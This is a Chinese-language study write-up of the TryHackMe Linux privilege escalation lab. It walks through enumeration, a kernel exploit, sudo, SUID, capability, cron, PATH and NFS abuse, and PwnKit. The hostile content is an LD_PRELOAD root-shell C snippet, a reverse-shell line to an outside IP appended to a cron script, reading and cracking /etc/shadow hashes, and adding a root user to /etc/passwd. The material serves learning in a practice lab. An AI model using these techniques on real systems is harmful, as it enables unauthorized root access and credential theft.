【学习笔记】[THM]Linux Privilege Escalation(linux提权)
信息收集
假设已经拿下权限,那就先收集下这台机器的信息
主机名
1 | hostname |

系统信息
1 | uname -a |

内核版本和其他数据的信息
1 | cat /proc/version |

/etc/issue 系统版本
1 | cat /etc/issue |

看进程
1 | ps -A:查看所有正在运行的进程 |
一般直接用
1 | ps -aux |
看环境变量
1 | env |

重点看path变量
PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。
看允许用户使用 root 权限运行哪些命令(鸡肋,要密码)
1 | sudo -l |
看用户组
1 | id |
也可看其他用户
1 | id root |

/etc/passwd
1 | cat /etc/passwd |
这里面会记录系统的用户
可以直接读取用户名,这个文件一般以:分隔,然后用户名一般都在第一列
1 | cat /etc/passwd|cut -d ":" -f 1 |

这是获取所有用户名,但还要查找真实用户,一般用户文件都会在home文件夹下
1 | cat /etc/passwd|grep home|cut -d ":" -f 1 |

或者不切割直接看```
1 | cat /etc/passwd|grep home |

历史命令
1 | history |
查看早期的命令可以让我们对目标系统有所了解,并且尽管很少存储密码或用户名等信息
甚至有时候靶机上还没有这个
系统网络接口的信息
1 | ifconfig |

假设我们可以看到有不能访问到的接口,可以通过
1 | ip route |
查看存在哪些网络路由
看网络统计信息
1 | netstat -a:显示所有侦听端口和已建立的连接。 |
find(find命令往往会产生错误,因此一般都会加一个:2>/dev/null)
在当前目录
1 | find . -name file |
在/目录查找名为file的目录
1 | find / -type d -name file |
查找具有 777 权限的文件(所有用户均可读取、可写和可执行的文件)
1 | find / -type f -perm 0777 |
查找可执行文件
1 | find / -perm a=x |
在“/home”下查找用户“frank”的所有文件
1 | find /home -user frank |
查找最近十天修改的文件
1 | find / -mtime 10 |
查找过去十天内访问的文件
1 | find / -atime 10 |
查找在过去一小时内更改的文件
1 | find / -cmin -60 |
查找在过去一小时内访问的文件
1 | find / -amin -60 |
查找大小为50M的文件
1 | find / -size 50M |
1 | 此命令还可以与 (+) 和 (-) 符号一起使用,以指定大于或小于给定大小的文件 |
可以写入或从中执行的文件夹和文件:
1 | find / -writable -type d 2>/dev/null |
1 | find / -perm -222 -type d 2>/dev/null |
1 | find / -perm -o w -type d 2>/dev/null |
1 | find / -perm -o x -type d 2>/dev/null |
1 | 查找全局可执行文件文件夹 |
查找特定文件权限
1 | find / -perm -u=s -type f 2>/dev/null |
1 | 查找具有 SUID 位的文件,这允许我们以比当前用户更高的权限级别运行文件 |
回答问题
目标系统的主机名是什么?
1 | wade7363 |
目标系统的 Linux 内核版本是什么?
1 | 3.13.0-24-generic |
这是什么 Linux
1 | Ubuntu 14.04 LTS |
系统安装了哪个版本的 Python 语言
1 | 2.7.6 |
哪个漏洞似乎影响了目标系统的内核?(输入 CVE 编号)
1 | CVE-2015-1328 |
自动枚举工具
有几种工具可以帮助您在普查过程中节省时间。这些工具仅用于节省时间,因为它们可能会错过一些权限提升向量。以下是流行的 Linux 枚举工具列表,以及指向其各自 Github 存储库的链接。
PEASS-ng感觉是最好用的
1 | 搜索可以利用的可能的本地权限提升路径 ,并以漂亮的颜色打印,以便轻松识别错误配置 |
可以先用les.sh(提权漏扫,扫出了直接用,用不了再用本体信息收集)
LinEnum
1 | ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t |
1 | -k Enter keyword -k Enter 关键字 |
LES (Linux Exploit Suggester)
1 | Highly probable - 评估的内核很可能受到影响,并且 PoC 漏洞很有可能无需任何重大修改即可直接运行。 |
Linux Smart Enumeration这个也还行
1 | 参数说明: |
它还有个子项目
1 | ./tools/package_cvs_into_lse.sh |
运行以上命令编译成./lse_cve.sh
然后可以测试cve,但实际没什么用,测试的脚本是在cve文件夹里,内置的的很少
Linux Priv Checker
利用内核漏洞提权
内核漏洞利用方法思路
- 确定内核版本
- 搜索并查找目标系统内核版本的漏洞利用代码,一看这
- 运行漏洞利用
失败的内核漏洞可能会导致系统崩溃。在尝试利用内核之前,请确保此潜在结果在您的渗透测试参与范围内是可接受的
实操
先看靶机内核版本
1 | uname -a |

丢给ai分析,可能是存在CVE-2015-1328可利用
在这搜索相关利用脚本
中间的那个是个c文件
下载下来编译一下
1 | gcc -o cve_2015_1328 37292.c |

让靶机远程下载
1 | scp lan1oc@10.21.170.43:/home/lan1oc/Downloads/cve_2015_1328 /tmp |

肥肠尴尬
看来得在靶机上编译才行
成功提权
找flag1.txt
利用sudo提权
这提供了有关如何使用可能拥有 sudo 权限的任何程序的信息
思路
sudo直接提权
先找能用sudo命令的命令
1
|
sudo -l
—|—
2. 然后从这找利用方法
LD_PRELOAD利用的思路
检查 LD_PRELOAD(使用 env_keep 选项)

编写编译为共享对象(.so 扩展名)文件的简单 C 代码
1 2 3 4 5 6 7 8 9 10
|
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
—|—
编译一下
1
|
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
—|—
3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
1
|
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
—|—
这将导致生成具有 root 权限的 shell
回答问题
用户 “karen” 可以在具有 sudo 权限的目标系统上运行多少个程序?
1 | sudo -l |

flag2.txt 文件的内容是什么?
1 | find / -name flag2.txt 2>/dev/null|grep flag |

1 | cat /home/ubuntu/flag2.txt |

如果您的用户在 nmap 上拥有 sudo 权限,您将如何使用 Nmap 生成根 shell?
1 | sudo nmap --interactive |
frank 的密码哈希值是多少?
先提权,找下运行用sudo命令的命令
1 | sudo -l |

有个find,那就直接脱离受限环境
1 | sudo find . -exec /bin/sh \; -quit |

然后读文件
1 | cat /etc/shadow|grep frank |

suid提权
思路
先找有suid的命令
1
|
find / -type f -perm -4000 -ls 2>/dev/null
—|—
2. 然后从这找利用方法
例子:nano提权(nano具有suid)
两种利用思路
破解
1 | nano /etc/shadow |
将打印 /etc/shadow 文件的 内容
创建一个可以被 John the Ripper 破解的文件(读取/etc/passwd和/etc/shadow)
1 | unshadow passwd.txt shadow.txt > passwords.txt |
然后用john破解
添加用户
需要新用户要使用的密码的哈希值
1 | openssl passwd -1 -salt aaa 1412 |
1 | 用openssl对password1这个密码生成一个密码哈希 |

将这个密码和用户名添加到 /etc/passwd 文件
1 | hack:$1$aaa$sSXZ4A4TP1A3T9YQEumVU/:0:0:root:/root:/bin/bash |
然后切换到hack用户,就将拥有root权限
实操以及回答问题
哪个用户分享了一位伟大的漫画作家的名字?
先找suid置位的命令
1 | find / -type f -perm -4000 -ls 2>/dev/null |
看到有at,直接读文件看看
1 | echo "cat /etc/passwd > /tmp/passwd1.txt" | at now |
1 | cat /tmp/passwd1.txt |

切一下输出一下,看看用户名
1 | cat /tmp/passwd1.txt|cut -d ":" -f 1 |

user2 的密码是什么?
看看密码(at命令失败了,换base64)
1 | base64 /etc/shadow|base64 --decode |

读到内容了,切一下
1 | base64 /etc/shadow|base64 --decode|grep user2 > /tmp/passwd2.txt |

处理一下用户名
1 | base64 /etc/passwd|base64 --decode|grep user2 > /tmp/passwd1.txt |

用unshadow处理一下
1 | ./unshadow passwd1.txt passwd2.txt > unshadowed.txt |

用john破解一下
1 | ./john --wordlist=/home/lan1oc/fuzzDicts-master/rockyou/rockyou.txt --format=sha512crypt unshadowed.txt |

flag3.txt 文件的内容是什么?
先找下在哪
1 | find / -name flag3.txt 2>/dev/null |

不能直接读,那就base64秒了
1 | base64 /home/ubuntu/flag3.txt|base64 --decode |

利用功能提权
对应的是这方面提权的东西
思路
先找开启set功能的
1 | getcap -r / 2>/dev/null |

然后去GTOBins找就行了
回答问题
有多少个二进制文件具有 set 功能?
6
还可以通过其功能使用哪些其他二进制文件?
view
flag4.txt 文件的内容是什么?
先找在哪
1 | find / -name flag4.txt 2>/dev/null |
然后查看
1 | view /home/ubuntu/flag4.txt |
利用定时任务提权
适用场景
定时任务总是值得检查的,因为它有时会导致简单的权限提升向量。以下情况在没有特定网络安全成熟度级别的公司中并不少见:
- 系统管理员需要定期运行脚本。
- 他们创建一个 cron 作业来执行此作
- 过了一会儿,脚本变得无用了,他们删除了它
- 它们不会清理相关的 cron 作业
思路
定时任务一般是在/etc/crontab
如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径
如果PATH变量有/home/用户名,那么在对应用户名的主文件夹创建那个脚本,定时任务也将会去执行它
如果有当前用户主文件夹中的脚本被定时任务执行,可以通过修改这个脚本来提权
实操
先看看定时任务文件
1 | cat /etc/crontab |

PATH变量没有当前用户主目录,但是在当前用户有个计划任务所用的脚本
尝试对其添加反弹shell的语句
1 | echo "bash -c 'exec bash -i > /dev/tcp/10.21.170.43/404 0>&1 2>&1'" >> /home/karen/backup.sh |

然后给这个脚本赋予可执行权限
1 | chmod +x backup.sh |

回答问题
flag5.txt 文件的内容是什么?

Matt 的密码是什么?

利用PATH变量提权
PATH 是一个环境变量,它告诉作系统在何处搜索可执行文件,对于未内置于 shell 中或未使用绝对路径定义的任何命令,Linux 将开始在 PATH 下定义的文件夹中搜索
思路
如果$PATH中包含的路径存在当前用户可写的,可在其中写入恶意可执行文件并运行
- 先看
$PATH
- 再找可写文件夹

- 然后把要用的可写文件夹写入
$PATH中 - 再可写文件夹中创建恶意可执行文件,设置 SUID 位后,此二进制文件将以 root 权限运行
实操
1 | find / -writable 2>/dev/null |
找到一个用户文件夹
1 | find / -name flag6.txt 2>/dev/null |

1 | #include <stdio.h> |
1 | gcc 1.c -o 1 |

1 | export PATH=/home/murdoch:$PATH |

远程下载一下
肥肠尴尬
看了提示才知道,这题纯是脑洞题啊,有个可执行文件test,它会执行thm文件,那就创建一个并写入命令
1 | cat /home/matt/flag6.txt |

NFS提权
Network File System,网络文件系统
共享文件夹和远程管理界面(如 SSH 和 Telnet)还可以帮助您获得对目标系统的 root 访问权限。在某些情况下,还需要同时使用这两种向量,例如,在目标系统上找到根 SSH 私钥,并使用 root 权限通过 SSH 进行连接,而不是尝试提高当前用户的权限级别
NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件是在 NFS 服务器安装期间创建的,通常可由用户读取
前提:有个文件夹配置了no_root_squash参数,然后创建恶意可执行文件需要在root进行
如果可写共享资源上存在 “no_root_squash” 选项,可以创建一个设置了 SUID 位的可执行文件,并在目标系统上运行它
实操
先在目标上找配置了no_root_squash的共享
1 | cat /etc/exports |

从攻击机器中列举可挂载的份额
1 | showmount -e 10.10.73.55 |

比对发现,随便一个都行,那就挂载一个
1 | mkdir /tmp/tmp;sudo mount -o rw 10.10.73.55:/tmp /tmp/tmp |


接下来攻击机挂载的那个目录开始构建可执行文件
1 | int main() { |
1 | gcc 1.c -o 1 -w |

挂载后,再本机制作就行,无需再传到目标机上
1 | chmod +s 1 |
1 | 在攻击机 |
切换到目标机提权,运行1就行,但是肥肠尴尬,我的GLIBC版本太高了,重新制作个吧
然后尝试静态编译,进入bash终端了,但是没提权

然后发现忽略了一个问题,程序所有者不是root,切换用户,重来一次就成功提权了
练习
想先找文件,结果一直没输出结果,看看报错,才知道权限不够,意思是先提权再说了
信息收集一下
传个林豌豆上去
啊既然说了脏牛能打,那就试一下
很好没打成功
那就继续看看还挖出了哪些可利用信息
思路1
$PATH变量中找到这些信息
没怎么利用上,然后找suid置位的,发现有pkexec
让ai分析了一下,可能会有pwnkit能利用,易受 CVE-2021-4034 影响 的版本一般是 polkit < 0.112.0(Debian/Ubuntu 通常 < 0.105-26)
1 | /usr/bin/pkexec --version |

或者直接看pkexec的版本也行
1 | pkexec --version |
然后用CVE-2021-4034打通
漏洞利用
pwnkit这个cve打通了
思路2
想到之前利用过base64读文件,然后再利用john破解密码的,正好suid置位的也有base64
同时显示出了用终端的用户有三个
查看文件发现missy用户拥有sudo权限
1 | base64 /etc/sudoers|base64 --decode |

那么思路就清晰了,破解missy的密码然后切换用户,用find提权
读取下文件
1 | base64 /etc/passwd|base64 --decode|grep missy |
1 | base64 /etc/shadow|base64 --decode|grep missy |

1 | ./john --wordlist=/home/lan1oc/fuzzDicts-master/rockyou/rockyou.txt --format=sha512crypt a.txt |

用find提权
1 | sudo find . -exec /bin/bash \; -quit |

最后
提权挺有意思的,但是没思路的时候真的肥肠牢






![[记录]尝试shiro有key无链利用,但失败](/img/c1/3.webp)
